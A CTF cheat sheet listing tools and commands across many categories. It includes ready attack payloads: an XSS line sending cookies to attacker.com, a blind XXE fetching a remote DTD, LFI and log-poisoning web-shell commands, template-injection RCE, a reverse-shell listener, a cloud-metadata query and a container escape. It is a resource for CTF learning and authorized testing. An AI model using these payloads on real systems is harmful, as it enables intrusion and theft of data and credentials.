A comprehensive reference guide for Capture The Flag (CTF) competitions covering various categories and attack vectors.
- Web Exploitation
- Cryptography & Encryption
- Reverse Engineering & Binary Analysis
- Binary Exploitation (Pwn)
- Forensics
- Audio/Steganography
- Archive/File Cracking
- OSINT
- Networking
- Scripting
- Blockchain & Smart Contracts
- Hardware Hacking
- Malware Analysis
- Cloud Security
- Game Hacking
- Miscellaneous
Attacking web applications, APIs, and servers.
| Tool | Purpose | Command Example |
|---|---|---|
| Burp Suite | Intercept/modify HTTP traffic | burpsuite (GUI) |
| sqlmap | Automated SQL injection | sqlmap -u "http://site.com?id=1" --dbs |
| ffuf | Directory fuzzing | ffuf -w wordlist.txt -u http://site.com/FUZZ |
| Wappalyzer | Detect web technologies | Browser extension |
| OWASP ZAP | Web application scanner | zaproxy |
| Nuclei | Fast vulnerability scanner | nuclei -u https://target.com |
| gobuster | Directory/file brute-forcer | gobuster dir -u http://target.com -w wordlist.txt |
| Nikto | Web server scanner | nikto -h http://target.com |
Union-Based:
' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables-- -Blind SQLi (Time-Based):
' OR IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- -Error-Based:
' AND EXTRACTVALUE(0x0a,CONCAT(0x0a,(SELECT database())))-- -NoSQL Injection (MongoDB):
{"$ne": null}
{"$regex": ".*"}Stored XSS:
<script>fetch('http://attacker.com/?cookie='+document.cookie)</script>Reflected XSS:
<svg onload=alert(1)>DOM XSS:
<img src=x onerror=alert(1)>Filter Bypasses:
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
javascript:alert(1)
<iframe src="javascript:alert(1)">Basic LFI:
/etc/passwd
../../../../etc/passwd
PHP Wrappers:
?page=php://filter/convert.base64-encode/resource=index.php
?page=data://text/plain,<?php system($_GET['cmd']); ?>
?page=expect://whoami
Log Poisoning:
# Poison Apache logs
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com
# Then include the log
?page=/var/log/apache2/access.log&cmd=whoamiBasic SSRF:
http://127.0.0.1:80/admin
http://localhost:22
file:///etc/passwd
Bypass Filters:
http://0.0.0.0:80
http://127.1:80
http://[::1]:80
Basic XXE:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>Blind XXE:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>Jinja2 (Python):
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}Twig (PHP):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}| Cipher | Tool/Decryption Method |
|---|---|
| XOR | CyberChef or manual Python script |
| Atbash | tr 'A-Za-z' 'Z-Az-a' |
| Vigenère | python3 -c "from pycipher import Vigenère; print(Vigenère('KEY').decrypt('CIPHERTEXT'))" |
| Railfence | dcode.fr or custom decoder |
| Playfair | Online decoder or custom script |
| Attack Type | Tool/Command |
|---|---|
| Small e (e=3) | rsactftool.py -n <n> -e 3 --uncipher <ciphertext> |
| Chinese Remainder Theorem | python3 -m sage -- crt.sage (Multiple n and c) |
| FactorDB | factordb.com (Factorize n) |
| Wiener Attack | Small d attack when d < N^0.25 |
| Hastad's Attack | Multiple messages, same e |
ECB Mode Detection:
# Look for repeated blocks in ciphertext
chunks = [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)]
if len(chunks) != len(set(chunks)): print("Likely ECB mode")Padding Oracle Attack:
padbuster http://target.com/decrypt.php "encrypted_data" 16 -cookies "auth=encrypted_data"Hash Length Extension:
hashpump -s <original_hash> -d <original_data> -a <append_data> -k <key_length>Rainbow Tables:
# MD5
echo -n "password" | md5sum
# SHA-1
echo -n "password" | sha1sum| Tool | Purpose |
|---|---|
| Cryptii | Multi-cipher decoder (online) |
| CyberChef | Recipe-based crypto operations |
| hashcat | GPU-accelerated hash cracking |
| John the Ripper | Password cracking |
| rsactftool | RSA attack automation |
| Tool | Use Case |
|---|---|
| Ghidra | Decompile binaries (GUI) |
| radare2 | r2 -d ./binary (CLI analysis) |
| IDA Pro | Advanced disassembly (Commercial) |
| Binary Ninja | Modern disassembler |
| Hopper | macOS disassembler |
| Cutter | GUI for radare2 |
strings:
strings -n 8 binary | grep -i "flag\|password\|key"
strings -e l binary # Little-endian 16-bit
strings -e b binary # Big-endian 16-bitobjdump:
objdump -d binary # Disassemble
objdump -s -j .rodata binary # Dump sectionsnm:
nm binary # List symbols
nm -D binary # Dynamic symbolsgdb (With plugins):
gdb ./binary
> break *main+0x10
> run
> info registers
> x/10x $rsp # Examine stack
> disas main # Disassemble functionUseful GDB Extensions:
- pwndbg: Enhanced debugging for exploit development
- gef: GDB Enhanced Features
- peda: Python Exploit Development Assistance
ltrace/strace:
ltrace ./binary # Library calls
strace ./binary # System calls
strace -e trace=network ./binary # Network calls onlyValgrind:
valgrind --tool=memcheck ./binary # Memory error detection| Tool | Purpose |
|---|---|
| x64dbg | Windows debugger |
| Process Monitor | Monitor file/registry/process activity |
| API Monitor | Monitor API calls |
| PE-bear | PE file analyzer |
| Detect It Easy | Packer/protector detection |
- Fuzzing: Crash the binary with long inputs
- Offset Calculation:
pattern create 200 pattern offset $eip - Control EIP/RIP: Overwrite return address
- Shellcode Execution:
from pwn import * payload = b"A"*72 + p64(0xdeadbeef)
Basic Stack Overflow:
from pwn import *
p = process('./binary')
offset = 72
payload = b"A" * offset + p64(0x401234) # Jump to win function
p.sendline(payload)Basic Format String:
# Read from stack
payload = b"%x." * 20
# Write to arbitrary address
payload = fmtstr_payload(offset, {target_addr: value})Heap Exploitation:
# Allocate chunk
malloc(0x20)
# Free chunk
free(chunk)
# Use freed chunk (vulnerability)
# Reallocate with controlled data
malloc(0x20)Find Gadgets:
ROPgadget --binary ./binary | grep "pop rdi"
ropper --file ./binary --search "pop rdi"Leak Libc Address:
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
rop = ROP(elf)
rop.puts(puts_got)
rop.main()| Mitigation | Bypass Technique |
|---|---|
| NX/DEP | ROP/JOP chains |
| ASLR | Information leaks |
| Stack Canaries | Canary leaks/overwrites |
| PIE | Relative offsets |
| FORTIFY_SOURCE | Careful payload crafting |
| Tool | Command/Use Case |
|---|---|
| exiftool | exiftool image.jpg (Metadata extraction) |
| binwalk | binwalk -e file.bin (Extract embedded files) |
| pngcheck | pngcheck -v image.png (PNG integrity check) |
| strings | strings -n 8 binary | grep "flag" |
| xxd/hexed.it | xxd file.bin or hexed.it (Hex editor) |
| foremost | foremost -i disk.img (File carving) |
| scalpel | scalpel -c scalpel.conf disk.img |
Volatility (Memory analysis):
volatility -f memory.dump imageinfo
volatility -f memory.dump --profile=Win7SP1x64 pslist
volatility -f memory.dump --profile=Win7SP1x64 cmdline
volatility -f memory.dump --profile=Win7SP1x64 filescan | grep -i flagOther Tools:
- Autopsy: GUI-based disk analysis
- photorec:
photorec /dev/sdX(Recover deleted files) - testdisk: Partition recovery
Wireshark/tshark:
tshark -r capture.pcap -Y "http.request.method==POST"
tshark -r capture.pcap -Y "dns" -T fields -e dns.qry.nametcpdump:
tcpdump -r capture.pcap -A | grep -i password| Tool | Command/Use Case |
|---|---|
| apktool | apktool d app.apk (Decompile APK) |
| dex2jar | d2j-dex2jar.sh classes.dex (Convert to JAR) |
| jd-gui | View decompiled Java code (GUI) |
| jadx | jadx app.apk (Decompile APK) |
| frida | Dynamic instrumentation |
Extract Files from HTTP:
tcpflow -r capture.pcapDNS Exfiltration Detection:
tshark -r capture.pcap -Y "dns" -T fields -e dns.qry.name | sort | uniq -c| Tool | Command/Use Case |
|---|---|
| Audacity | Analyze spectrograms (View → Spectrogram) |
| Sonic Visualizer | Detect hidden tones/patterns |
| multimon-ng | Decode DTMF/Morse: multimon-ng -a AFSK1200 audio.wav |
| SoX | Audio manipulation: sox input.wav output.wav spectrogram |
LSB Steganography:
zsteg -a image.png
stegsolve image.png # Java tool for image analysisJSteg (JPEG):
jsteg reveal image.jpgOutGuess:
outguess -r image.jpg output.txtSteghide:
steghide extract -sf image.jpg
steghide info image.jpgF5 Algorithm:
f5 -e image.jpg -p password secret.txtSNOW (Whitespace Steganography):
snow -C -p password stego.txt| Tool | Command |
|---|---|
| John the Ripper | john --format=zip hash.txt |
| fcrackzip | fcrackzip -u -D -p rockyou.txt archive.zip |
| pdfcrack | pdfcrack -f file.pdf -w rockyou.txt |
| hashcat | hashcat -m 17200 hash.txt rockyou.txt (PKZIP) |
# ZIP
zip2john archive.zip > hash.txt
# RAR
rar2john archive.rar > hash.txt
# PDF
pdf2john document.pdf > hash.txt
# Office documents
office2john document.docx > hash.txtzipinfo -v archive.zip
zipdetails -v archive.zip
unzip -l archive.zip # List contentsKnown Plaintext Attack:
pkcrack -C encrypted.zip -c file.txt -P plaintext.zip -p file.txt -d decrypted.zipZip Bomb Detection:
zipinfo archive.zip | grep "compression ratio"Open-source intelligence gathering.
Google Dorks:
site:target.com inurl:admin
intitle:"index of" "parent directory"
filetype:pdf "confidential"
inurl:"/phpMyAdmin/"
cache:target.com
Shodan:
port:22 country:US
http.title:"login"
ssl:"target.com"
| Platform | Tools/Techniques |
|---|---|
| TweetDeck, Social-Searcher | |
| LinkedIn Sales Navigator | |
| Graph Search | |
| Picodash, InstaLooter |
Subdomain Enumeration:
subfinder -d target.com
amass enum -d target.com
assetfinder target.comDNS Reconnaissance:
dig target.com ANY
fierce -dns target.com
dnsrecon -d target.com -t stdReverse Image Search:
- Google Images
- TinEye
- Yandex Images
Geolocation:
exiftool photo.jpg | grep -i GPSBitcoin:
# Blockchain explorers
https://blockchain.info/
https://blockchair.com/Port scanning and traffic analysis.
Nmap Scans:
nmap -sV -sC -p- -T4 target.com # Full port scan
nmap --script vuln target.com # Vulnerability scan
nmap -sU target.com # UDP scan
nmap --script smb-enum-shares target.comMasscan:
masscan -p1-10000 --rate=1000 target.comNetcat (Swiss Army Knife):
nc -lvnp 4444 # Listen for reverse shell
nc target.com 80 # Manual HTTP request
nc -u target.com 53 # UDP connectionBanner Grabbing:
nmap -sV target.com
telnet target.com 80WiFi Tools:
airodump-ng wlan0mon # Monitor wireless networks
aircrack-ng capture.cap -w wordlist.txtSMB Enumeration:
smbclient -L //target.com
enum4linux target.comSMTP Enumeration:
smtp-user-enum -M VRFY -U users.txt -t target.comPython/Bash one-liners for CTFs.
XOR Decryption:
key = "SECRET"
data = bytes([data[i] ^ ord(key[i%len(key)]) for i in range(len(data))])Base64 Operations:
import base64
encoded = base64.b64encode(b"flag{example}")
decoded = base64.b64decode(encoded)Frequency Analysis:
from collections import Counter
text = "ENCRYPTED TEXT"
freq = Counter(text)
print(freq.most_common())Socket Programming:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('target.com', 1337))
s.send(b'payload\n')
response = s.recv(1024)Network Scanning:
for ip in $(seq 1 254); do ping -c 1 192.168.1.$ip | grep "bytes from"; doneFile Processing:
# Extract strings from multiple files
find . -type f -exec strings {} \; | grep -i flag
# Convert hex to ASCII
echo "666C6167" | xxd -r -pBasic Enumeration:
Get-Process | Where-Object {$_.ProcessName -like "*flag*"}
Get-ChildItem -Path C:\ -Recurse -Name "*flag*"| Tool | Purpose |
|---|---|
| Remix | Online Solidity IDE |
| Mythril | Security analysis tool |
| Slither | Static analysis framework |
| Ganache | Local blockchain |
Reentrancy:
// Vulnerable contract
function withdraw() public {
uint amount = balances[msg.sender];
msg.sender.call.value(amount)(); // External call
balances[msg.sender] = 0; // State change after call
}Integer Overflow:
// Before Solidity 0.8.0
uint256 value = 2**256 - 1;
value = value + 1; // Overflows to 0# Mythril
myth analyze contract.sol
# Slither
slither contract.sol| Tool | Purpose |
|---|---|
| Logic Analyzer | Analyze digital signals |
| Oscilloscope | Analyze analog signals |
| Bus Pirate | Interface with hardware buses |
| ChipWhisperer | Side-channel attacks |
| JTAGulator | JTAG interface discovery |
UART:
screen /dev/ttyUSB0 115200
minicom -D /dev/ttyUSB0 -b 115200SPI:
flashrom -p buspirate_spi:dev=/dev/ttyUSB0 -r firmware.binI2C:
i2cdetect -y 1 # Scan for devices
i2cdump -y 1 0x50 # Dump EEPROMBinwalk:
binwalk -e firmware.bin
binwalk -M firmware.bin # Recursive extractionFirmware Emulation:
# QEMU
qemu-system-arm -M versatilepb -kernel firmware.binBasic Information:
file malware.exe
strings malware.exe | grep -i "http\|temp\|registry"PE Analysis:
pefile malware.exe
peframe malware.exeSandbox Environments:
- Cuckoo Sandbox
- Any.run
- Hybrid Analysis
Monitoring Tools:
# Linux
strace ./malware
ltrace ./malware
# Windows
procmon.exe
wiresharkUnpacking:
upx -d packed.exe # Unpack UPXDebugging:
# x64dbg (Windows)
# GDB (Linux)
gdb ./malwareReconnaissance:
# S3 bucket enumeration
aws s3 ls s3://bucket-name --no-sign-request
# EC2 metadata
curl http://169.254.169.254/latest/meta-data/Tools:
- ScoutSuite
- Prowler
- CloudMapper
Reconnaissance:
# Check for public buckets
gsutil ls gs://bucket-nameTools:
- AzureHound
- MicroBurst
- PowerZure
Container Escape:
# Check for privileged containers
cat /proc/self/status | grep CapEff
# Mount host filesystem
docker run -v /:/host -it ubuntu chroot /hostCheat Engine (Windows):
- Memory scanning
- Value modification
- Code injection
Game Shark Codes:
# Example format
XXXXXXXX YYYY
Packet Capture:
tcpdump -i any -w game_traffic.pcap
wireshark game_traffic.pcapUnity Games:
# .NET Reflector
# dnSpyUnreal Engine:
- UE4 Console Unlocker
- UModel
xxd -g1 file.bin # Hex dump
file mystery # Detect file type
hexdump -C file.bin # Canonical hex+ASCIIecho "flag" | base64 # Encode to Base64
echo "666C6167" | xxd -r -p # Hex to ASCII
echo "flag" | base32 # Base32 encodingTiming Attacks:
import time
start = time.time()
# Perform operation
end = time.time()
print(f"Time: {end - start}")Tools:
zbarimg qrcode.png # Decode QR code
qrencode -o qr.png "text" # Generate QR codegit log --oneline # Commit history
git show commit_hash # Show specific commit
git reflog # Reference logFind flags:
grep -r "flag{" .
find . -name "*.txt" -exec grep -l "flag" {} \;Convert between formats:
# Binary to decimal
echo "ibase=2; 1010" | bc
# Decimal to hex
printf "%x\n" 255Online Platforms:
- PicoCTF
- OverTheWire
- HackTheBox
- TryHackMe
- VulnHub
CTF Tools Frameworks:
- CTFd
- pwntools
- CTF-Tools
Feel free to contribute to this cheatsheet by adding new techniques, tools, or improving existing content. Submit pull requests or open issues for suggestions.
This cheatsheet is provided for educational purposes and authorized security testing only. Use responsibly and only on systems you own or have explicit permission to test. The authors are not responsible for any misuse of this information.
This cheatsheet is provided under the MIT License for educational purposes.